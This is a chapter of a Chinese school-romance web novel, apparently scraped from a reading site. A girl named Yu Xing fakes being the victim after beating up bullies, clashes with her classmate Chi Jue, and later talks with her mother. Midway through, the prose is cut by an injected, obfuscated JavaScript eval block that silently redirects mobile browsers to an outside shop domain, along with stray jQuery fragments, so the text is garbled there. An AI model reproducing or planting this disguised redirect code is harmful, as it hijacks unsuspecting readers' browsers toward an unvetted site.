俞醒暴揍狂野男孩许乐的时候瞥了眼迟觉。
他复制粘贴,先抹了他俩一脸洗手液,又用校服把他们罩在一起。灵活得不像一个倍受欺负的小白花。
迟觉问:“接下来怎么办?”
俞醒抬了抬下巴:“你躺那儿。”
然后她又对唐雪说:“你也躺。”
三个人被俞醒捂着嘴暴揍一顿后,脑袋上的校服外套就被摘了下来。
俞醒顺手把他们推到转角外,问道:“同学,你们为什么要打人?”
一脸洗手液的三人纷纷:“?”
九班的读书声也渐渐小了。
俞醒装模作样:“这里是学校,有什么矛盾找老师不就好了?非要动手吗?”
也不知道是谁骂了一句:“艹,臭傻x你有病啊?”
紧接着,俞醒就被推了一把。
九班的班主任立刻赶来。附近的本班同学,看热闹的别班同学也纷涌而至。
呈保护姿态地,把看起来弱势的三个人护在圈内。
……
这还是俞醒第一次暴揍他人后反被安慰。
她出办公室的门时,老窦和卢主任还欣慰又无可奈何地朝她点点头。
但是这样显然不够。纵使刚刚有老师同学作证、有唐雪声泪俱下地解释前因后果、还有迟觉三句话一个甩锅……但还是不行。
唐雪拿纸巾擦了擦故意流下的眼泪,跟着俞醒一起守在楼梯口:“不回去吗?”
俞醒摇了摇头,静静等着。
她身上的校服外套已经狼狈得不成样子了,汤汁、洗手液、未干的水,皱皱巴巴还脏兮兮的。穿着它到老窦面前,老窦也忍不住惊讶。她实在是没想到俞醒居然能被欺负成这个样子。
没过多久,那三个男同学就在楼梯的转角和俞醒打了个照面。
“真你*的晦气。”挨了处分的许乐看见俞醒就一肚子火。
“以后多的是晦气。”俞醒站得乖巧,“每次一想到我身上的处分我就难受,一直期待再揍你们一顿。还好,你们的审美一直都是唐雪这样的,不然我也没有机会。下次见到她可要小心一点哦,我这次没过瘾。”
俞醒伸出一根手指放在许乐面前摇了摇,得意又猖狂地走了。
唐雪这才明白,俞醒守在这里的原因是什么。
只是怕上次的事情重演,有人不长记性地继续来找自己麻烦。
她急忙跟上皇帝回宫般的俞醒,却冷不丁被迟觉瞪了一眼。
她对迟觉既有感激也有歉意,毕竟这是自己的事情,把迟觉也扯了进来,挺不好意思的。估计迟觉也是觉得惹上麻烦很不爽吧。
唐雪没多想。
回到教室后,比卷子先到的是纷至沓来的问候和关心。
唐雪一一感谢后,才回到位置上:“谢谢你了,俞醒。”
“小事小事。也谢谢你。现在我身上的处分被撤啦,我又能犯事了。”俞醒把脏了的校服外套丢到装书的箱子上,在桌洞掏啊掏,终于把下节课用的课本翻出来了。
她按着课本回忆了一下:“不受处分的打架流程也太麻烦了,又要哭诉又要甩锅。”
唐雪笑了笑没说话。
反倒是俞醒掂量了半天,最后发誓:“我真的再也不打架了,我会安分守己地度过我的高中生活。”
唐雪沉默了一会儿,突然说:“抱歉。”
“啊?”
“高一的时候害你被批评。”
“那是因为我下手太重了……我妈还被找来了呢。跟你有什么关系。”俞醒朝着唐雪露出一个安抚的笑,“而且你不是也替我说过话了嘛。我也不好,我都没有认出你来。”
唐雪这些日子以来的心结终于放下。
自从俞醒见义勇为挨了处分之后,她就一直愧疚,虽然在事情发生的时候就和老师解释过,可周围的的同学全看到是俞醒先动手打的人,那三个男生也一口咬死了他们是无辜路人。
双方口径不一致,光是找家长就找了好几轮。
如果说之前的小打小闹只是让俞醒这个名字在学校内变得很耳熟,那么这次,就是令俞醒真正名声大噪的事情。
她一个看起来弱弱小小的女生拎鸡仔一样把三个高大男生拎飞,在大庭广众之下拳拳到肉地战斗,简直不像是正常学生能做出来的事。当时还有好几个人来拉架,可俞醒力壮如牛,压根不理这些小打小闹。
俞醒脾气又急又爆,不愿意把战线拉得这么长,更何况只是处分而已,高考之前该消的肯定会消干净。于是硬生生吃了这个哑巴亏。
之后在分班的名单上看见她了,想着到班级时,就和她好好道谢好好解释。
但俞醒估计是把她忘了。
自己不擅长主动交朋友,分班那天她也只是走到俞醒旁边问了句:“这里有人吗?”
俞醒抬头:“没有。”
就这样当了近一周的同桌。
本以为会在补课期间的一次大调座位后被分开,却被老窦叫到办公室里,询问“能不能感化一下俞醒,看好她别让她打架”。
唐雪想都没想就点了头。
唐雪想继续说点什么,又和窗外站着的迟觉对视上了。
他这次倒没有再瞪她,只是神色冷冷的,明显带着仇视。
俞醒看唐雪变了脸色,顺着她的视线回头看过去。
阴沉着脸的迟觉很陌生,至少俞醒还是第一次从他脸上看到这种表情。
见俞醒看过来,迟觉低头挑眉:“你没认出她来,居然会觉得不好意思?”
经此一役,俞醒当即就把迟觉划进了好人阵营。更何况他明明是个无辜路人,还为了唐雪的事在办公室舌战群儒。
因此,就算他语气讥讽一点也没什么。
俞醒点头:“当然。”
迟觉好整以暇地看着她,神色危险又可怕。
俞醒全然不明白他怎么突然变成这种表情,难道是在怪自己拉着他打架?
俞醒并非不讲理,她站起来,把窗户开得更大了点。走廊的风吹进来,她闻到秋天的味道和残留的洗手液的香味。
“你别生气了。”俞醒真心实意地道歉,“我不该把你再牵扯进来的。”
“你觉得我是因为这个生气?”
俞醒不确定地问:“……我还干了别的事吗?”
“没有。”迟觉面无表情地打断她,“无论你拉着我做什么,我都不会生气。”
“反正无论怎么说,我都跟你道歉。你挺好的,虽然总是看我不顺眼,但你是个好人。”
迟觉额前的青筋直跳:“……”
俞醒浑然不觉:“如果可以的话,我们就冰释前嫌好了。我不会再对你有什么意见了。”
迟觉:“……”
不知道是不是错觉,俞醒觉得自己越说,迟觉的脸越黑。她干什么了,不是好好道歉了吗?还递出了橄榄枝,放出了和平鸽。此时不应该签订友好条约以后和平相处吗?
迟觉咬着牙笑了一下:“不可能,俞醒。我不是好人,也不想跟你玩什么当好朋友的无聊游戏。我不可能和你冰释前嫌。”
俞醒:“……”
“我的校服脏了。俞醒。”
俞醒不解地看着他:“……”
“你要对它负责。”
上课铃响了。
俞醒拿着迟觉的校服,茫然地把它和自己的校服放在一起,又茫然地拿起课本站立候课。
俞醒皱着眉,努力思索自己以前是不是见过迟觉并且殴打过他,不然他这么大的恶意到底是怎么来的?
“怎么了?”相较于俞醒的纠结,唐雪就比较轻松了。
“没什么……”回想着迟觉时而阴沉时而温和的种种模样,又回想着他惊人的变脸速度,俞醒终于开口说道,“……但我好像碰见真的精神分裂患者了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544330|204063||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>上完晚自习的俞醒身上穿着两件校服外套,推车出了校门。
迟觉一整个下午都没再找自己的麻烦,也没眼巴巴地凑上来。生气?到底为什么生气?
俞醒想不通。
但她跟着唐雪一起出校门的时候又碰见许乐了,满腹疑惑都在此刻化为了战意,她又把三人暴揍一顿,彻底把人打得再也不敢来。
回到家后,一屋暖灯和饭菜的香气暂时驱散了俞醒所有的困惑。
她走到厨房门口,和正在做饭的女人打了个照面:“妈。”
俞照倩四十多岁,明显能看出来是个中年女人,那些“时间在她身上仿佛没留下痕迹”的形容,并没好心地落在一个普通女人身上。而且因为工作的原因气色略差,但却带着些从容不迫游刃有余的气质,看起来很稳重。
不过她再稳重,还是免不了絮絮叨叨。
俞照倩一手端一个盘子,俞醒见状赶紧从她手里接过,就在交接盘子的瞬间,俞女士看着俞醒的穿搭,忍不住开口:“这么大人了,怎么把自己搞这么狼狈?又打架去了?我告诉你啊,这次我肯定不会去学校替你说好话的,我肯定是让老师好好治治你,说出去都让人笑话。”
俞醒把菜放下之后,俞照倩就上手帮俞醒把外套扯下来:“怎么还两件呢,你就这么冷?”
“还有一件是同学的……”俞醒嘿嘿两声,“不小心被我搞脏了。”
俞照倩拿起两件校服看了看,摇头:“这得泡一夜。”
“没事,两套校服呢。”
“那你同学呢?”
“他肯定也两套啊。”
“你班主任下午给我打电话了。”俞照倩担忧地看着她,把她拉到餐桌旁坐好,“她说你在学校被欺负了?”
“没有啦老妈。”俞醒尴尬地笑了笑,把前因后果都说给她听了一遍,最后还不忘提醒,“你千万别跟老师说漏嘴,我这是跟别人学的。”
俞照倩早习惯了女儿的这番做派。不知道是不是小的时候看了太多武侠剧的缘故,她一直奉行路见不平拔刀相助。年龄小点儿的时候还知道报警,后来随着年龄渐长,她无师自通了一身打群架的技能后,直接把报警电话忘在脑后,遇事就自己上。
小到找回猫咪,大到处理小偷,只要被俞醒撞见,她都拼尽全力去帮忙。
离婚之后,她自己独自带着孩子并不容易。加上医院又忙,时常关照不到俞醒。
但俞醒却用她这种独特的方式,自己打好了邻里关系,让俞照倩在带大俞醒的十几年里过得并不困难。
她的莽撞和好心带来的后果好坏参半,并随着年龄的增长,两极分化更加明显。好结果自然是受到感谢,相安无事。坏结果也显而易见——很容易得罪别人。
“你这也太冲动了。”俞照倩说,“下次做事要三思,要是传出去多让人笑话。”
“诶呀,怎么又笑话上了,谁没事儿乱笑话人啊。而且这算什么。”俞醒满不在乎,“这就是我三思后的结果,我已经成长了。”
“要好好谢谢同学,知道吗?”
“知道知道。”
俞照倩想了想:“改天邀请他们来吃饭。”
俞醒夹菜的手一顿,思绪瞬间飘远。想了半天她才问:“妈,你记不记得以前咱们家旁边有一户特别爱打小孩的?”
“当然了,你总把人家拉来吃饭。怎么问起这个,他跟你联系了?”俞照倩算了算,“你五年级的时候我们搬的家……算起来,有六年了。”
“那倒没有,就是突然想起来了。他现在应该几岁了?上初三还是高一?”
俞照倩失笑:“他还比你大一岁呢,你忘啦?小男孩长得晚,他又不怎么吃饭,所以才比你矮一大截。”
说着说着,她又叹起气来:“当时搬家搬得太急了,应该留个联系方式的。不知道他现在怎么样了……要是那会儿没有意外,你们两个还真的能一起上学呢。”